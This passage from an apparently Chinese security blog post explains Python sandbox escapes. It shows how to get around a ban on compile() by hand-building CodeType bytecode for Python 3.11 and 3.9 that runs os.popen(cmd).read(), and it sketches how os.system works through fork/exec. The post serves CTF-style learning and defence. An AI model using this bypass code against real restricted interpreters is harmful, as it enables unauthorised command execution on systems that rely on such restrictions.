<span class=hljs-built_in>print</span>(<span class=hljs-string>f"表达式 '<span class=hljs-subst>{expr}</span>' 被拒绝: <span class=hljs-subst>{ve}</span>"</span>)
</code></pre>
<p blockindex=19>但是也有对应的绕过办法,留给下一篇博客吧</p>
<h1 blockindex=20>CodeObject</h1>
<p blockindex=21>其实上文也有提及,python中万物接对象,包括正在执行的字节码对象(<strong>codeobject</strong>)。为了将脚本代码转化成可以被PVM(Python虚拟机)执行的字节码,Py开发者专门保留了compile函数来完成脚本代码到字节码对象(<strong>codeobject</strong>)的转化。所以,但凡涉及到动态代码执行的节点,都会调用compile函数:包括但不限于:<code>exec</code>,<code>eval</code>,<code>map</code>,<code>__import__</code>...Blue Team 通过禁用compile,就能杜绝大部分通过动态执行绕过黑白名单的操作了,比如:<code>eval('pop'+'en("ls")')</code><br>
但不是所有。</p>
<h2 blockindex=22>函数即obj</h2>
<p blockindex=23>例如在这里我可以通过如下这个函数实现查看:</p>
<pre blockindex=24><code class="hljs language-py">
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>check</span>(<span class=hljs-params>obj</span>):</span>
<span class=hljs-string>"""
检查对象的非魔术属性和方法,并打印详细信息。
"""</span>
<span class=hljs-keyword>from</span> inspect <span class=hljs-keyword>import</span> ismethod, isfunction
<span class=hljs-built_in>print</span>(<span class=hljs-string>f"Inspecting object of type: <span class=hljs-subst>{<span class=hljs-built_in>type</span>(obj)}</span>\n"</span>)
<span class=hljs-keyword>for</span> i <span class=hljs-keyword>in</span> <span class=hljs-built_in>dir</span>(obj):
<span class=hljs-comment># 跳过魔术方法和属性</span>
<span class=hljs-keyword>if</span> i.startswith(<span class=hljs-string>'__'</span>):
<span class=hljs-keyword>continue</span>
<span class=hljs-keyword>try</span>:
attr = <span class=hljs-built_in>getattr</span>(obj, i) <span class=hljs-comment># 尝试获取属性值</span>
<span class=hljs-keyword>if</span> ismethod(attr) <span class=hljs-keyword>or</span> isfunction(attr):
<span class=hljs-built_in>print</span>(<span class=hljs-string>f"[Method] <span class=hljs-subst>{i}</span>()"</span>)
<span class=hljs-keyword>else</span>:
<span class=hljs-built_in>print</span>(<span class=hljs-string>f"[Attribute] <span class=hljs-subst>{i}</span> = <span class=hljs-subst>{<span class=hljs-built_in>repr</span>(attr)}</span>"</span>)
<span class=hljs-keyword>except</span> Exception <span class=hljs-keyword>as</span> e:
<span class=hljs-built_in>print</span>(<span class=hljs-string>f"[Error] <span class=hljs-subst>{i}</span> - Could not retrieve value: <span class=hljs-subst>{e}</span>"</span>)
</code></pre>
<p blockindex=25>函数对象的Codeobject属性都在<code>__code__</code>这里直接上:</p>
<pre blockindex=26><code class="hljs language-py"><span class=hljs-meta>&gt;&gt;&gt; </span>check(add.__code__)
Inspecting <span class=hljs-built_in>object</span> of <span class=hljs-built_in>type</span>: &lt;<span class=hljs-class><span class=hljs-keyword>class</span> '<span class=hljs-title>code</span>'&gt;
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>_co_code_adaptive</span> = <span class=hljs-title>b</span>'\<span class=hljs-title>x97</span>\<span class=hljs-title>x00X</span>\<span class=hljs-title>x00</span>|\<span class=hljs-title>x01z</span>\<span class=hljs-title>x00</span>\<span class=hljs-title>x01</span>\<span class=hljs-title>x00S</span>\<span class=hljs-title>x00</span>'
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>_varname_from_oparg</span> = &lt;<span class=hljs-title>built</span>-<span class=hljs-title>in</span> <span class=hljs-title>method</span> <span class=hljs-title>_varname_from_oparg</span> <span class=hljs-title>of</span> <span class=hljs-title>code</span> <span class=hljs-title>object</span> <span class=hljs-title>at</span> 0<span class=hljs-title>x7f50dc123840</span>&gt;
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>co_argcount</span> = 2
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>co_cellvars</span> = ()
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>co_code</span> = <span class=hljs-title>b</span>'\<span class=hljs-title>x97</span>\<span class=hljs-title>x00</span>|\<span class=hljs-title>x00</span>|\<span class=hljs-title>x01z</span>\<span class=hljs-title>x00</span>\<span class=hljs-title>x00</span>\<span class=hljs-title>x00S</span>\<span class=hljs-title>x00</span>'
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>co_consts</span> = (<span class=hljs-params><span class=hljs-literal>None</span>,</span>)
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>co_exceptiontable</span> = <span class=hljs-title>b</span>''
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>co_filename</span> = '&lt;<span class=hljs-title>stdin</span>&gt;'
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>co_firstlineno</span> = 1
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>co_flags</span> = 3
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>co_freevars</span> = ()
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>co_kwonlyargcount</span> = 0
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>co_lines</span> = &lt;<span class=hljs-title>built</span>-<span class=hljs-title>in</span> <span class=hljs-title>method</span> <span class=hljs-title>co_lines</span> <span class=hljs-title>of</span> <span class=hljs-title>code</span> <span class=hljs-title>object</span> <span class=hljs-title>at</span> 0<span class=hljs-title>x7f50dc123840</span>&gt;
[<span class=hljs-title>Attribute</span>] <span class=hljs-title>co_linetable</span> = <span class=hljs-title>b</span>'\<span class=hljs-title>x80</span>\<span class=hljs-title>x00</span>\<span class=hljs-title>xd8</span>\<span class=hljs-title>t</span>\<span class=hljs-title>n</span>\<span class=hljs-title>x881</span>\<span class=hljs-title>x89</span>\<span class=hljs-title>x13</span>\<span class=hljs-title>x80</span>*'
&lt;<span class=hljs-title>stdin</span>&gt;:</span><span class=hljs-number>12</span>: DeprecationWarning: co_lnotab <span class=hljs-keyword>is</span> deprecated, use co_lines instead.
[Attribute] co_lnotab = <span class=hljs-string>b'\x02\x01'</span>
[Attribute] co_name = <span class=hljs-string>'add'</span>
[Attribute] co_names = ()
[Attribute] co_nlocals = <span class=hljs-number>2</span>
[Attribute] co_positions = &lt;built-<span class=hljs-keyword>in</span> method co_positions of code <span class=hljs-built_in>object</span> at <span class=hljs-number>0x7f50dc123840</span>&gt;
[Attribute] co_posonlyargcount = <span class=hljs-number>0</span>
[Attribute] co_qualname = <span class=hljs-string>'add'</span>
[Attribute] co_stacksize = <span class=hljs-number>2</span>
[Attribute] co_varnames = (<span class=hljs-string>'a'</span>, <span class=hljs-string>'b'</span>)
[Attribute] replace = &lt;built-<span class=hljs-keyword>in</span> method replace of code <span class=hljs-built_in>object</span> at <span class=hljs-number>0x7f50dc123840</span>&gt;
&gt;&gt;&gt;
</code></pre>
<p blockindex=27>就会发现和普通的CodeObject没啥两样,都是编译完成后的字节码对象,那么我们可以通过自己声明字节码对象实现绕过compile方法:</p>
<h3 blockindex=28>不同版本下手动声明函数</h3>
<p blockindex=29>例如,我想手动声明一个函数实现system的功能:</p>
<h4 blockindex=30>在Python3.11+中:</h4>
<pre blockindex=31><code class="hljs language-py"><span class=hljs-keyword>import</span> types
co_code = <span class=hljs-string>b'\x97\x00t\x01\x00\x00\x00\x00\x00\x00\x00\x00d\x01\xab\x01\x00\x00\x00\x00\x00\x00j\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x00\xab\x01\x00\x00\x00\x00\x00\x00j\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xab\x00\x00\x00\x00\x00\x00\x00S\x00'</span>
co_consts = (<span class=hljs-literal>None</span>, <span class=hljs-string>'os'</span>)
co_names = (<span class=hljs-string>'__import__'</span>, <span class=hljs-string>'popen'</span>, <span class=hljs-string>'read'</span>)
co_varnames = (<span class=hljs-string>'cmd'</span>,)
co_argcount = <span class=hljs-number>1</span>
co_posonlyargcount = <span class=hljs-number>0</span>
co_kwonlyargcount = <span class=hljs-number>0</span>
co_nlocals = <span class=hljs-number>1</span>
co_stacksize = <span class=hljs-number>3</span>
co_flags = <span class=hljs-number>3</span>
co_filename = <span class=hljs-string>'&lt;stdin&gt;'</span>
co_name = <span class=hljs-string>'my_exec'</span>
co_firstlineno = <span class=hljs-number>1</span>
co_lnotab = <span class=hljs-string>b'\x00\x01'</span> <span class=hljs-comment># 简单的行号表</span>
co_cellvars = ()
co_freevars = ()
<span class=hljs-comment># 构造 CodeType 对象</span>
code_obj = types.CodeType(
co_argcount,
co_posonlyargcount,
co_kwonlyargcount,
co_nlocals,
co_stacksize,
co_flags,
co_code,
co_consts,
co_names,
co_varnames,
co_filename,
co_name,
co_firstlineno,
co_lnotab, <span class=hljs-comment># Python 3.9 使用 co_lnotab</span>
co_cellvars,
co_freevars
)
<span class=hljs-comment># 创建函数对象</span>
my_exec_reconstructed = types.FunctionType(code_obj, <span class=hljs-built_in>globals</span>())
my_exec_reconstructed(<span class=hljs-string>'ls'</span>)
</code></pre>
<h4 blockindex=32>python3.9</h4>
<pre blockindex=33><code class="hljs language-py">co_code = <span class=hljs-string>b't\x00d\x01\x83\x01\xa0\x01|\x00\xa1\x01\xa0\x02\xa1\x00S\x00'</span>
co_consts = (<span class=hljs-literal>None</span>, <span class=hljs-string>'os'</span>)
co_names = (<span class=hljs-string>'__import__'</span>, <span class=hljs-string>'popen'</span>, <span class=hljs-string>'read'</span>)
co_varnames = (<span class=hljs-string>'cmd'</span>,)
co_argcount = <span class=hljs-number>1</span>
co_posonlyargcount = <span class=hljs-number>0</span>
co_kwonlyargcount = <span class=hljs-number>0</span>
co_nlocals = <span class=hljs-number>1</span>
co_stacksize = <span class=hljs-number>3</span>
co_flags = <span class=hljs-number>67</span> <span class=hljs-comment># 67 表示有闭包和优化标志</span>
co_filename = <span class=hljs-string>'&lt;stdin&gt;'</span>
co_name = <span class=hljs-string>'my_exec'</span>
co_firstlineno = <span class=hljs-number>1</span>
co_lnotab = <span class=hljs-string>b'\x00\x01'</span> <span class=hljs-comment># 行号表</span>
co_cellvars = ()
co_freevars = ()
<span class=hljs-comment># 构造 CodeType 对象</span>
code_obj = types.CodeType(
co_argcount,
co_posonlyargcount,
co_kwonlyargcount,
co_nlocals,
co_stacksize,
co_flags,
co_code,
co_consts,
co_names,
co_varnames,
co_filename,
co_name,
co_firstlineno,
co_lnotab, <span class=hljs-comment># Python 3.9 使用 co_lnotab</span>
co_cellvars,
co_freevars
)
<span class=hljs-comment># 创建函数对象</span>
my_exec_reconstructed = types.FunctionType(code_obj, <span class=hljs-built_in>globals</span>())
</code></pre>
<p blockindex=34>其他的就还要查文档了没来得及搞</p>
<h3 blockindex=35>手搓system</h3>
<p blockindex=36>其实system的底层原理还是去调用linux的系统函数在 Linux 下,执行 <code>os.system("ls")</code> 的背后,操作系统会经历以下几个步骤:</p>
<h4 blockindex=37><strong>分身术:<code>fork()</code></strong></h4>
<p blockindex=38>操作系统首先会用 <code>fork()</code> 系统调用,创建一个“子进程”。你可以把它想象成操作系统的一个小分身,它专门负责干这件事。</p>
<blockquote blockindex=39>
<p>“我先分一个小号出来,专门跑这个命令。”</p>
</blockquote>
<p blockindex=40>这一步的目的是让 Python 主程序可以继续运行,而不被命令的执行耽误。</p>
<h4 blockindex=41><strong>换衣术:<code>exec()</code></strong></h4>
<p blockindex=42>接下来,这个子进程会用 <code>exec()</code> 系统调用,把自己“变装”成你要执行的命令(比如 <code>ls</code>)。你可以想象成这个分身穿上了“ls 命令”的衣服,变成了一个可以执行 <code>ls</code> 的程序。</p>
<blockquote blockindex=43>
<p>“我现在是 <code>ls</code>,准备开始工作!”</p>
</blockquote>
<h4 blockindex=44><strong>等待命令完成</strong></h4>
<p blockindex=45>子进程开始执行命令(比如列出文件夹内容)。当命令执行完毕后,它会告诉操作系统:</p>
<blockquote blockindex=46>
<p>“我干完活了,没问题!”</p>
</blockquote>
<p blockindex=47>然后,操作系统会把这个结果传回给 C 标准库,C 再把结果告诉 Python。</p>
<h4 blockindex=48><strong>清理现场</strong></h4>
<p blockindex=49>最后,操作系统会清理掉子进程,确保不留垃圾。<br>
具体的流程图:<br>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACcMAAAC/CAYAAAA40laVAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzde1xUZeI/8M9wU5CrV0C5mZXrpSw0dbMYNrtYYqW0mbsCbtq2aq2bW7BdBHSzobL9tl66aQJZWKG5YNLFAszMEtzSlTIvM94YRAnkLrfn94e/c5ozcwZmuA3o5/16zYvhzMw5zzlzbnOez3kejRBCDyIiIiIiIiIiIiIiIiIiIiIiIqJeTCOEEI4uBBEREREREREREREREREREREREVFHODm6AEREREREREREREREREREREREREQdxTAcERERERERERERERERERERERER9XoMwxEREREREREREREREREREREREVGvxzAcERERERERERERERERERERERER9XoMwxEREREREREREREREREREREREVGvxzAcERERERERERER2a2xsRGLFi3Cl19+KQ+rra3Fvn370Nzc3OpnL168iLNnz6q+9tprr2HlypWoq6sDAOh0OqSkpODixYttlkmv1+Phhx9GRkZGq+8TQrRZRiIiIiIiIiIi6n1cHF0AIiIiIiIiIiIi6n22bt2KDRs2YNSoUbjlllvg6uoKDw8PBAQE4O9//zvmzZuHsWPHQqPRWHy2T58+2LVrF7Kzs7F69Wr4+PjIr1VWVgIA3N3dAQAajQbNzc3o06ePxXjq6+tx9OhRvPPOO9i0aRP8/Pxw9913w8fHB0ajEcuXL8eUKVMsPnv48GHk5+cjPT0d/v7+nblYiIiIiIiIiIjIgRiGIyIiIiIiIiIiIrt89913WLp0Kd555x1ER0crAm/Dhg1DUlISFixYAHd3d6xevRre3t4W45g+fTo2bNiADRs24IknnlC85uzsrPp/fX09+vbtKw+vr69HQEAAdDodSkpKEB0djaioKABAdXU1jEYjRo4cifDwcMX4srOzcfDgQQwaNKhjC4KIiIiIiIiIiHoUhuGIiIiIiIiIiIjIZj/++COWLFmCDz/8EJMnT1Z9j4+PD9566y3MmjUL48ePx+eff46QkBDFe9zd3fHKK69g8ODBOHLkCH744QcAwIEDBwAAmZmZiv9XrlyJlJQUvP3225g1axYAwNfXt93z0adPH4vQHRERERERERER9W4MwxEREREREREREZFN9u3bh3Xr1mHr1q2tdi/a0NAAb29vbNiwAbfffjtWrVqFf//73xbvGzVqFIBL4bnBgwfDx8cHx44dAwBER0cDgPx/fHw8nn766TbLKIRAY2Oj3fNGRERERERERES9H8NwRERERERERERE1Krm5ma899578PLywvr16+Hs7IzvvvsON954I1xclJcYm5qaMHfuXISEhOCf//wndDodjhw5ojrehoYGuLq6wtXVFT4+PnaV6cKFC9i1axcuXrwIANDr9di9ezc+//xzfP755/jwww/R0NCAnTt3Qq/XKz67b98+u6ZFRERERERERES9A8NwRERERERERERE1KqWlhY8+OCDcHNzk4edO3cOBw8exA033KB4708//YSCggI88cQTcHNzw8yZM+XXGhoasGvXLlRUVKC0tBQrV65EUlIS5s+fb3eZvL29odVq4enpibKyMiQmJmLKlCmIiooCAJSXlwMA7rrrLlx//fWKzw4YMADffPMNhBDQaDR2T5uIiIiIiIiIiHomhuGIiIiIiIiIiIioVa6urhbDxo8fjzVr1mDMmDHy60IIrF+/HtOmTcNNN91k8Rk3NzdMnjwZbm5uOH/+PDZv3oy77rrL5nI0NjZCCAE3NzdoNBp4eXkBuBTA+/nnn/HFF1/gt7/9LXx9fXHo0CHMnTsXR44csWiZrrS0FOvWrcO1116LWbNm2bMoiIiIiIiIiIioB2MYjoiIiIiIiIiIiOw2ZMgQBAcHIycnBzNmzAAAFBUVITc3F++9957VFtf69esnP3dyckJjYyM+/fRTVFVVAQAOHDgAAMjMzFT8v3nzZrz22mtwdXXFli1bFN2q7ty5E01NTQgPD8cf//hHLFiwAHfffTfGjx+Pvn37AgBiY2MRHR0ttxy3cOHCzlwcRERERERERETUAzAMR0RERERERERERO1y7733YuHChbj++usxdOhQ/Otf/8KcOXMwevRom8fRt29fTJkyBW5ubnB1dcWxY8fg6uqK6OhoAMCxY8cAALNnz8bs2bMtPl9eXo7Dhw9j8uTJ8PX1xRNPPIGXX34Zd9xxBzw9PTtnRomIiIiIiIiIqFdgGI6IiIiIiIiIiIjaZfDgwYiJicHChQsRFxeHn3/+GSkpKXaPR2otrqmpCYcOHcIjjzxi82e//fZb3HTTTXBzcwMAaLVajBw5stUgnBACLS0tcHZ2trusRERERERERETU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